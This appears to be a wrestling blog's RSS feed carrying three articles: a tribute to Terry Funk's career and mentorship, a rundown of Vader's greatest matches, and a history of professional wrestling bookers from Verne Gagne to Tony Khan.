Only this wasn’t the return of an outlaw cowboy with a thirst for branding those who drew his ire, nor was it a return over a decade in the making. Funk wouldn’t be rocking the bedazzled cowboy hat as the same cowboy that threatened to fry the folks at Sports Illustrated and put on classic professional wrestling matches with the likes of The Junkyard Dog and Hulk Hogan in arenas throughout the north-eastern seaboard. As the chainsaw cut through the wooden cargo crate, Funk announced his presence with authority and a chainsaw, as if he were the killer in a ‘70s slasher, only not quite as scary as he emerged wearing a red shirt and overalls covered in saw dust, complimented by pantyhose over his face.

The new character, the psychotic, chainsaw-wielding Chainsaw Charlie ushered in the Attitude Era with the same man and character he helped legitimize years earlier in IWA-Japan, with a program that’d establish the premiere tag team of the most successful era in the history of the industry. Chainsaw Charlie was wacky, but that wackiness led to real danger. The name derived from John Ayers, an offensive lineman nicknamed Chainsaw Charlie for the legendary 1980s 49er squads. Ayers, who had passed in 1995, was close friends with Funk. Even when on-screen Funk seemed as lost as ever, behind it, he was as sentimental as ever.

Funk & Foley: Passing the Torch

Funk and Cactus Jack hadn’t teamed in two-on-two tag team action since a benefit show for Tom Robinson seven years prior, having since gone to war with each other in Giant Baba’s All Japan Pro Wrestling, Paul Heyman’s Extreme Championship Wrestling and Victor Quinones’ IWA, yet the first hardcore wrestling rivalry to take the tape-trading market by storm and bring the hardcore style into the mainstream was just two years before the introduction of Chainsaw Charlie, when Funk and Cactus had the Indie Dream match in front of approximately 29,000 in Kawasaki Stadium in a barbed wire exploding deathmatch, featuring barbed wire boards and a ring that was a time bomb. It was the third match involving primarily barbed wire for both competitors of the one-night tournament festivities.

When Terry was in Television City for a 1978 episode of the Mike Douglas Show, he delivered an audition promo he had cut for Paradise Alley, a pro wrestling movie starring Sylvester Stallone in his second film release after the initial success of Rocky, Hollywood’s biggest triumph of the ‘70s and the 1976 Academy Award winner for Best Picture, beating out hit films such as Network and All The President’s Men. Funk looked into the camera and cut the same promo he auditioned with, saying “Sly, you overbearing, obnoxious, egg sucking dog, I’m going to hit you over the head with a cement brick until your brain turns to jelly,” in a deep and raspy, yet twangy voice that would soon become synonymous with Terry Funk, giving him his trademark catch phrase in the process. Funk cited that the character called for a nutjob that conflated a goof and a nut. Seeing as Sly wanted to type cast, Terry transformed himself and became somebody who’d work with arguably the biggest action star of the 1980s in future projects.

Terry Funk 101: The Selfless Mentor

Those three instances may have nothing to do with each other outside of its leading role, but there’s a certain aspect to take away from each specific story. The first story is of Terry teaming with his protégé, a talent that he mentored into the most unlikely WWF Champion of all-time. Mick Foley became synonymous in that era with being the perfect foil for a heel that needed that last stamp of approval, or as those in the industry call it, ‘rub.’ In an industry where many top babyfaces are supposed to pass it forward, a majority don’t, as politics and ego clouded the old guard. Yet, Mick was debatably the most pivotal in establishing the careers of The Rock, Triple H, Edge and Randy Orton as bad guy main event players, as well as a major guiding hand for the likes of Shawn Michaels, The Undertaker, and Steve Austin as babyfaces that had already begun their championship reign. That’s Terry Funk 101, and as a competitor who many of the all-time greats have called the toughest to ever lace boots, including Ric Flair in his tribute tweet, Terry went out of his way with Mick to approve arguably the biggest money-making heel tag team that’s ever been in WWE. He did it while wearing pantyhose on his face, and, according to Jon Moxley’s book, using mannerisms that current WWE higher-ups compared to Homer Simpson.

It’s an act of selflessness from a man who’d given quite literally everything to an industry to the point where he didn’t need acts of bravado on the biggest stage to cement a legacy that he knew he had already secured. Even if he did, that wasn’t who the Funker was as a businessman, securing a legacy with a deeper understanding of the business at a level few reach, coming from an old school mindset that if you didn’t make anybody, then you didn’t do your job to the best of your ability.

King of the Deathmatch & Hardcore Innovation

One performer he did that with is the aforementioned Foley in the aforementioned 1995 King of the Deathmatch tournament. Deathmatches are the red-headed stepchild of professional wrestling, even as the dated, bromidic perception on the style slowly fades. Before CZW, GCW and their ‘outlaw mud shows’ started ‘killing the business’ in the modern climate, Terry innovated the style overseas with Atushi Onita before bringing it into American prominence and giving Heyman’s ECW the legitimacy it required. Terry saw an art form where other workers saw unnecessary violence in a match that they didn’t understand. But as a groundswell built up and a movement began, the hardcore wrestling scene had one of the greatest in-ring performers that ever graced the squared circle, in a time where some of the top promotions didn’t see a fit for an old school mind focused on the evolution the next generation would take.

That isn’t to say Terry hadn’t had his share of crazy, hardcore programs previously, but they weren’t quite in the realm of explosive deathmatches. For every time he said that Dusty sucked eggs in 1980 Georgia Championship Wrestling blood feud with Dusty Rhodes, or had a feud with Ric Flair so violent that it called for a classic I Quit battle in November of 1989, he’d have three or four mat classics despite his character being a layer short of a lasagna. Deathmatches weren’t what American audiences had familiarized themselves with leading up until the 1990s. Funk had started as the prototypical every man in professional wrestling in his father Dory’s promotion in ’65, progressively over the years becoming more jaded and crazy.

The Many Faces of Terry Funk

Over the course of the 30 years leading into the mid-1990s, Funk became remembered fondly in a variety of ways. Funk had defeated Jack Brisco for the NWA Worlds Heavyweight Championship in ’75, as the master of the spinning toe hold, and one of the best fundamental professional wrestlers in the history of the sport. Funk and his brother Dory Jr. had continued a legacy of technical excellence that the NWA had to offer in Florida. In the early ‘80s, it was his CWA feud with Jerry Lawler that culminated in an Empty Arena Match in the Mid-South Coliseum, where the only in-person witness to Funk trying to blind Lawler with a stick of wood was Lance Russell and a camera-man.

He’s remembered by a mainstream audience as the sadistic cowboy who hunted announcers and ringside attendants for sport on Championship Wrestling, or his WWF Championship contest against Hulk Hogan that aired on NBC when the WWF took over for Saturday Night Live in the primetime time slot on the first Saturday of 1986, with the lasting visual of Funk dragging his manager Jimmy Hart up the aisle by his pant sleeve. Perhaps, a majority of folks recognize Funk from his roles in ’80s blockbusters, portraying Robert Loggia’s muscle and the guy who threatened to kick Patrick Swayze out of a bar if he didn’t drink, in Over The Top and Roadhouse, respectively.

A Legacy Across Generations

It’s therewithin that Terry Funk’s ultimate legacy to a fan shines. An entire generation who enjoys a blood sport frowned upon by traditionalists appreciates Funk as the guy who broke away from tradition to establish their favourite subgenre of professional wrestling. Yet, the previous generations that enjoyed him all witnessed an entirely different side of Terry Funk. You can ask any wrestling fan who grew up during one era of a career that spanned over fifty years and every person will mention Terry Funk, yet every person will have a different fondness of a different time.

Off the screen, Funk was the hardest worker, the most legitimate tough guy, and considered the biggest sweetheart of a human being. He represented every man in the simple way he enjoyed his leisure away from professional wrestling taking care of his ranch, yet he was progressive in the way he looked at the world, the business that built him and spread the love as much as possible to those who knew him. He entertained millions, sacrificing his health and body in the process to make sure that the audience felt the show was worth every cent they spent. This piece doesn’t do Terry Funk justice, but to watch Terry Funk was to watch a genius at his craft, while also creating more opportunity for the foreseeable future in an industry that was cutthroat and exclusive when Funk rose to greatness.

For making professional wrestling his life and a better place to be, while also providing generations countless memories, Terry Funk leaves the world fondly remembered and arguably the most innovative and important professional wrestler of a bygone era. Before he was a crazy old man he had a screw loose. Before he had a screw loose, he was NWA Worlds Champion when it was the most elusive prize in the sport. Yet, through all three, he is beloved for entirely different reasons. All of them sound, and all of them combine for a legacy unlike any other. Funk epitomized everything that a professional wrestler is supposed to be. Tough, believable, authentic, entertaining. He could out talk anybody, outwork anybody, and if you pissed him off enough, he’d just nail you with a metal garbage can. Funk normalized the deathmatch style that had been rampant with stigma given to it by those in his era, while also doing his best to solidify rising stars. Funk cared for the betterment of the industry before his merit, and for that, he’s a rare breed.

Rest in Peace, Terry Funk

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]]> https://deadformat.co.uk/terry-funks-wrestling-legacy-mentor-innovator-icon/feed/ 0 9948 Celebrating The Career of Leon White aka Vader https://deadformat.co.uk/celebrating-the-career-of-leon-white-aka-vader/ https://deadformat.co.uk/celebrating-the-career-of-leon-white-aka-vader/?noamp=mobile#respond Mon, 18 Aug 2025 14:48:34 +0000 https://deadformat.co.uk/?p=9889 WWE finally corrected a long-standing oversight when they announced that Vader would be inducted into the Hall of Fame. For nearly two decades, Leon “Big Van Vader” White redefined what it meant to be a big man in professional wrestling. At nearly 500 pounds, he possessed shocking agility, explosive power, and a fluid in-ring style […]

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]]> WWE finally corrected a long-standing oversight when they announced that Vader would be inducted into the Hall of Fame. For nearly two decades, Leon “Big Van Vader” White redefined what it meant to be a big man in professional wrestling. At nearly 500 pounds, he possessed shocking agility, explosive power, and a fluid in-ring style that allowed him to deliver classics against some of the best wrestlers in the world.

He was more than just a dominant attraction in North America—he became a global phenomenon. In Japan, he was treated like a monster movie come to life, with reactions that rivalled or even surpassed those of other foreign stars. His legacy stretches across NJPW, WCW, and WWE, leaving behind some of the most unforgettable matches in wrestling history.

Vader vs. Stan Hansen – NJPW Super Fight 1990

When Vader met Stan Hansen, the outcome was inevitable: chaos. Both men had reputations for stiff, punishing styles, and their 15-minute clash was nothing short of brutal.

The match is most remembered for its gruesome incident early on. Hansen threw a wild strike, his thumb accidentally poking his eye out of its socket. Fans watched in horror as Vader removed his mask and literally pushed his eye back into place before continuing. ‘ard.

Despite the injury, he fought on, showing toughness that became part of his legend. Few wrestlers could survive such an ordeal, let alone finish a hard-hitting brawl of this calibre.

Vader vs. Sting – Starrcade 1992

Vader and Sting’s rivalry was one of WCW’s most consistent highlights. Out of their many battles, Starrcade 1992 stands out as their finest encounter.

The pacing was relentless, with little downtime, and both men displayed superb conditioning. Vader combined raw power with surprising agility, while Sting’s resilience made him the perfect foil. his ability to sell for Sting—bumping like a man half his size—helped elevate the “Stinger” into true main-event status.

This was Vader at his absolute peak: a monster who could dominate but also make his opponent look like a hero.

Vader vs. Sting – Great American Bash 1992 (WCW Title Win)

While not as technically sharp as their Starrcade showdown, this match earns its place in history for what it represented. At the Great American Bash, he captured the WCW World Championship for the first time.

The match itself was slower and focused on Vader’s overwhelming strength. After a miscalculated Stinger Splash left Sting vulnerable, Vader capitalised and secured the victory. The win instantly cemented him as one of WCW’s most dangerous heels, giving him the credibility to headline against anyone.

Vader vs. Bret Hart vs. The Undertaker vs. Steve Austin – In Your House: Final Four (1997)

With Shawn Michaels temporarily out after “losing his smile,” WWE turned to a four-way elimination match to crown a new champion. The result was one of the most chaotic, hard-hitting multi-man matches in company history.

All four men—Bret, Taker, Austin, and Vader—brawled nonstop. It wasn’t crisp technical wrestling, but the gritty fight-like atmosphere made it unforgettable. Vader once again stole the spotlight with his toughness, battling through a vicious chair shot that left his face split open. His bloodied image, eye swollen shut, became one of the defining visuals of his WWE run.

Vader vs. Shawn Michaels – SummerSlam 1996 (WWE Championship Match)

This match represented both Vader’s potential and WWE’s biggest missed opportunity.

Vader was positioned as HBK’s next monster challenger, and the two delivered an incredible bout. Michaels played the underdog perfectly, while he used his stiff offence to brutalise the champion. The crowd rallied behind HBK, making Vader look every bit the unstoppable villain.

Backstage politics changed everything. Originally, Vader was supposed to win the title, but Michaels pushed against it. Instead, HBK retained, derailing his momentum and preventing him from becoming WWE’s next top heel.

The match remains a “what if” moment in wrestling history—proof of what Vader could have been in WWE.

Vader vs. Ric Flair – Starrcade 1993 (WCW Championship)

By late 1993, Vader had dominated WCW as champion. Enter Ric Flair, who returned to the company as a fan-favourite and put his career on the line for one more shot at glory.

The result was storytelling at its finest. Flair threw everything at Vader, who refused to stay down. The monster-versus-veteran dynamic had the crowd in a frenzy, with Flair’s career in jeopardy at every turn.

In the end, Flair used his ring savvy to roll him up and reclaim the gold. Vader looked like a beast in defeat, while Flair’s win became one of WCW’s greatest feel-good moments. This was how to book Vader in a loss—he remained intimidating and dangerous, even without the belt.

Vader vs. Ken Shamrock – In Your House: Cold Day in Hell (1997)

When Ken Shamrock transitioned from UFC to WWE, his first major test came against Vader. The result was a match that felt more like a shoot fight than scripted wrestling.

The strikes were stiff, the suplexes were brutal, and the intensity was off the charts. At one point, Shamrock broke his nose, adding to the realism. Despite the punishment, he pushed through, reminding fans why he was considered one of wrestling’s toughest men.

This match gave Shamrock credibility in WWE while reinforcing Vader’s reputation as a true badass.

Vader vs. Keiji Mutoh – NJPW G1 Climax

Long before the G1 Climax became a worldwide phenomenon, Vader made his mark in the prestigious tournament. His battle with Keiji Mutoh (later known as The Great Muta) was a showcase of athleticism, toughness, and technical skill.

Both men went to war, with stiff strikes that eclipsed what American fans were used to. Vader surprised many by keeping up in the technical exchanges, seamlessly mixing power with chain wrestling. Mutoh’s suplexes highlighted Vader’s incredible agility for a man his size.

This match proved that Vader was more than just a monster—he was a well-rounded performer who could thrive anywhere in the world.

The Legacy of Vader

From Tokyo to Atlanta to New York, Vader left a trail of classic matches and unforgettable moments. He wasn’t just “the best big man in wrestling”—he was one of the best, period. His Hall of Fame induction came far too late, but it finally ensured that his contributions to the business will never be forgotten.

When fans debate the best Vader matches, it’s impossible to pick just one. From bloody wars in Japan to championship clashes in WCW and WWE, he consistently proved that he wasn’t just the best “big man” in wrestling—he was one of the best, period. His Hall of Fame induction may have come later than it should have, but it finally cemented his place among the all-time greats.

For those who witnessed “Vader Time,” the memories remain unforgettable. For newer fans, these matches serve as a reminder of just how unique, athletic, and terrifyingly brilliant Vader was. There will never be another like him.

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]]> https://deadformat.co.uk/celebrating-the-career-of-leon-white-aka-vader/feed/ 0 9889 History of Wrestling Bookers: Gagne to McMahon, Heyman to Khan https://deadformat.co.uk/history-of-wrestling-bookers-gagne-to-mcmahon-heyman-to-khan/ https://deadformat.co.uk/history-of-wrestling-bookers-gagne-to-mcmahon-heyman-to-khan/?noamp=mobile#respond Fri, 15 Aug 2025 21:09:27 +0000 https://deadformat.co.uk/?p=9850 When everything is a work, when everyone is skilled at putting on a front, and when the business itself revolves around deception, how do you manage the players in that world? How do you make sure that the art of the “work” doesn’t seep into the real business — twisting how people present themselves and […]

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]]> When everything is a work, when everyone is skilled at putting on a front, and when the business itself revolves around deception, how do you manage the players in that world? How do you make sure that the art of the “work” doesn’t seep into the real business — twisting how people present themselves and their intentions? In pro wrestling, the people trusted with that responsibility, the ones “with the pencil,” are known as the Bookers.

Managing and booking a wrestling promotion is a mighty task, made even more difficult by the inherent deception of the entertainment itself. Perhaps that’s why the position has evolved into a team role — a booking committee — rather than the sole responsibility of one person.

Go figure then that, for much of pro wrestling’s history, the role was handled by a single “booker.” The booker was responsible for laying out storylines, both long-term arcs and on-the-fly developments in response to fan reaction. To succeed, a booker had to be creative, understand each wrestler’s strengths, spot industry trends, and plan the future for characters and storylines.

Given the trust involved, many bookers historically favoured the person they knew best — themselves — or their closest allies, often family members. Some legendary performers were entrusted to book while still active in the ring, while others came from outside the ropes altogether, rising from fan to respected creative mind.

The Families: Owner/Bookers

Before WWE became the singular national brand in the early 2000s — and before the Monday Night Wars of the 1990s — the wrestling world was divided into regional territories. WWE itself was the New York territory, owned by the McMahon family, with Vince McMahon Sr. and later Vince Jr. acting as head booker.

Other territories were dominated by family dynasties who not only promoted the shows but booked themselves and relatives into top positions.

Verne Gagne – AWA
Owner, wrestler, and booker for the American Wrestling Association out of Minneapolis. Gagne booked himself as champion for two decades before passing the torch to Nick Bockwinkel. His son Greg was pushed into the spotlight, but never achieved the same acclaim. Gagne’s stubbornness and financial disputes drove away stars like Hulk Hogan, who left in 1983 after Gagne demanded a cut of his merchandise sales.

Fritz von Erich – WCCW
Fritz booked himself to multiple titles in Dallas before pushing his six sons to the top. The von Erich boys collectively held 87 major championships in World Class Championship Wrestling. The promotion innovated presentation — entrance music, creative lighting, and ringside camera work — but the family story was plagued by tragedy, with four of Fritz’s sons dying prematurely.

Other Owner/Bookers

  • Ed Farhat (The Sheik) – Detroit’s Big Time Wrestling, booked himself as champion 12 times.
  • Eddie & Mike Graham – Florida Championship Wrestling, father and son with 46 combined major title reigns.
  • Dory Funk Sr. – Amarillo’s NWA Western State Sports, booked himself and later sons Dory Jr. and Terry to multiple world titles.
  • Stu Hart – Stampede Wrestling in Canada, with his sons winning 47 championships in the territory.
  • Jerry Jarrett – Memphis promoter who booked his son Jeff to dozens of title runs in both CWA and USWA.

The McMahons stand apart from these families by rarely booking themselves as full-time in-ring talents, instead favouring trusted “utility players” to help shape storylines.

The Utility Players

Some bookers started as hardcore fans before climbing the ladder to creative control.

Jim Cornette
From running newsletters and selling posters to managing in WCW, Cornette eventually ran Smoky Mountain Wrestling before joining WWE’s booking committee in the mid-1990s. He often clashed with fellow writer Vince Russo over creative philosophy.

Paul Heyman
Founder of ECW and one of the few promoters to rival WWF and WCW in the 1990s. Heyman later became a key member of WWE’s creative team and remains a major on-screen personality.

Early WWE Creative Aides
Vince Sr. brought in Jim Barnett, a seasoned promoter from Chicago, Detroit, and Australia, to assist with creative. Fired after leaking information to WCW’s Jim Crockett, Barnett later booked in WCW until the mid-1990s.

WCW’s Booking Carousel
WCW cycled through many bookers: Cowboy Bill Watts (credited with pioneering weekly episodic wrestling), Ole Anderson, and even former WWF talent Terry Taylor. Eventually, Eric Bischoff took the reins in the mid-90s.

Pat Patterson
Perhaps Vince McMahon’s most trusted right-hand man for decades. The first Intercontinental Champion and creator of the Royal Rumble match, Patterson was instrumental in major booking decisions, including the iconic Hulk Hogan vs. Ultimate Warrior clash at WrestleMania VI.

The Wrestlers as Bookers

Many legendary wrestlers moved into the booking role while still performing.

Dusty Rhodes
A creative mind obsessed with presentation, Rhodes devised the WarGames match and was notorious for the “Dusty Finish” — a fake-out title change reversed after the fact. He often booked himself in top spots, pairing with rising stars to stay relevant.

Ric Flair
Became WCW’s head booker in the mid-90s but often booked himself to lose in order to keep locker room harmony. Quit in 1995 after refusing to continually put over WWF imports like Hogan and Savage.

Bruiser Brody
A respected in-ring star and former sportswriter. Briefly booked for WCCW but often clashed with other bookers. Tragically murdered in 1988 by fellow wrestler/booker Jose Gonzalez after a locker room dispute.

Kevin Sullivan
Booked WCW during the mid-90s, remembered for the ill-fated Dungeon of Doom storyline and for creative conflicts that drove stars like Chris Benoit, Eddie Guerrero, and Dean Malenko to leave for WWF.

International Influences

In Japan, legendary wrestler–bookers like Giant Baba, Antonio Inoki, Mitsuharu Misawa, and Riki Choshu have shaped long-term booking philosophies, often planning years ahead.

In Mexico, wrestler–bookers such as Konnan have had a huge impact on AAA and CMLL, merging lucha traditions with modern storytelling for international audiences.

Modern Era Booking – Successes and Failures

Today’s major wrestling promotions almost never rely on a single booker in the old territorial sense. Instead, creative direction is managed by figureheads who lead large teams of writers, producers, and talent liaisons. However, two modern names stand out as central forces in shaping wrestling’s current landscape: Triple H and Tony Khan.

Triple H (Paul Levesque)
After transitioning from full-time wrestling, Triple H became WWE’s Executive Vice President of Talent, Live Events, and Creative, eventually overseeing NXT. His “Black & Gold” era of NXT from 2014–2019 is often hailed as one of the best-booked modern wrestling products, blending independent wrestling’s in-ring intensity with WWE’s production values. He elevated countless talents — from Kevin Owens to Finn Bálor to Sasha Banks — and cultivated long-term storytelling that rewarded loyal viewers.

Since 2022, with Vince McMahon’s creative role diminished, Triple H has taken a leading hand in WWE’s main roster booking. Under his watch, storylines have generally become more coherent, characters more consistent, and long-term arcs (like The Bloodline saga) have been allowed to breathe and build over months, echoing the best aspects of classic territory booking.

Tony Khan
The founder, owner, and head booker of All Elite Wrestling, Tony Khan has quickly made himself one of the most influential figures in the industry. Since AEW’s debut in 2019, Khan has worn multiple hats: booker, talent recruiter, and promoter. His booking style blends modern indie sensibilities with nods to classic NWA and WCW storytelling — often aiming for long-term feuds, big payoff matches, and consistent rankings-based logic.

Khan’s willingness to give wrestlers creative freedom, combined with his deep knowledge as a lifelong fan, has led to memorable angles like MJF’s meteoric rise, the Jon Moxley/Kenny Omega feud, and the revival of tag team wrestling as a main event draw. However, AEW’s rapid growth has also tested Khan’s booking consistency, with some critics pointing to overloaded cards and too many storylines running simultaneously. In recent times, Khan has came out and said that he has now been “back in the weeds” creatively and is way more hands on with the creative going forward

Other Notable Modern Bookers

  • Gedo (NJPW) remains widely respected for meticulous, years-long arcs, particularly in the Okada–Tanahashi and Okada–Omega rivalries.
  • Scott D’Amore (Impact Wrestling) has revitalised the brand’s reputation with a mix of veteran stars and breakout indie talent.
  • Court Bauer (MLW) blends sports-style presentation with throwback territory vibes.

Notorious Booking Missteps
Even in the modern era, poor booking decisions can derail momentum:

  • WCW’s Fingerpoke of Doom (1999) destroyed fan trust.
  • TNA’s overbooked “Russo-isms” in the late 2000s alienated audiences.
  • WWE’s “New Generation” lull (mid-90s) showed the dangers of weak character work.

Booker of the Year – Industry Recognition

For decades, wrestling media has celebrated the creative minds behind the matches, with the Wrestling Observer Newsletter (WON) offering one of the most prestigious annual accolades in the industry — the “Best Booker” award. It serves as a defining benchmark to acknowledge booking excellence, storytelling innovation, and long-term narrative impact.

Notable Past Winners Include:
  • 1986: Dusty Rhodes (Jim Crockett Promotions) — praised for imaginative storytelling and iconic angles.
  • 1987 & 1998: Vince McMahon — WWF’s primary creative force, shaping wrestling’s global boom.
  • 1994: Paul Heyman — revolutionised wrestling presentation with ECW’s gritty, innovative style.
  • 2001 & 2003: Jim Cornette — known for strong regional booking and talent development.
  • 2004: Gabe Sapolsky — elevated Ring of Honor into a top-tier independent promotion.
  • 2011: Gedo & Jado — masterminded NJPW’s long-term storytelling and resurgence.
  • 2020: Tony Khan — launched AEW and quickly cemented it as WWE’s first major competition in decades.
  • 2023: Paul “Triple H” Levesque — revitalised WWE’s creative direction following leadership changes.
  • 2024: Gedo — continued NJPW’s creative stability while integrating new stars into top positions.
  • 2025: Tony Khan — recognised again for AEW’s sustained growth and high-profile story arcs.

These awards not only celebrate individual excellence but also keep the art of booking in the spotlight. Fans debate winners and fantasy book their own storylines, proving that the work behind the curtain is just as important as what happens inside the ring.

Legacy of the Booker

The best bookers are often invisible — their success measured in ticket sales, TV ratings, and the emotional reactions of the crowd. Whether running a one-man territory or leading a 20-person creative team, the job demands vision, diplomacy, and the ability to adapt when reality forces a change.

From Dusty Rhodes’ imaginative WarGames cages to Gedo’s multi-year arcs, booking remains one of the most demanding and misunderstood roles in wrestling. The faces in the ring may change, but behind the curtain, the art of telling compelling stories in a business built on illusion remains the same.

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]]> https://deadformat.co.uk/history-of-wrestling-bookers-gagne-to-mcmahon-heyman-to-khan/feed/ 0 9850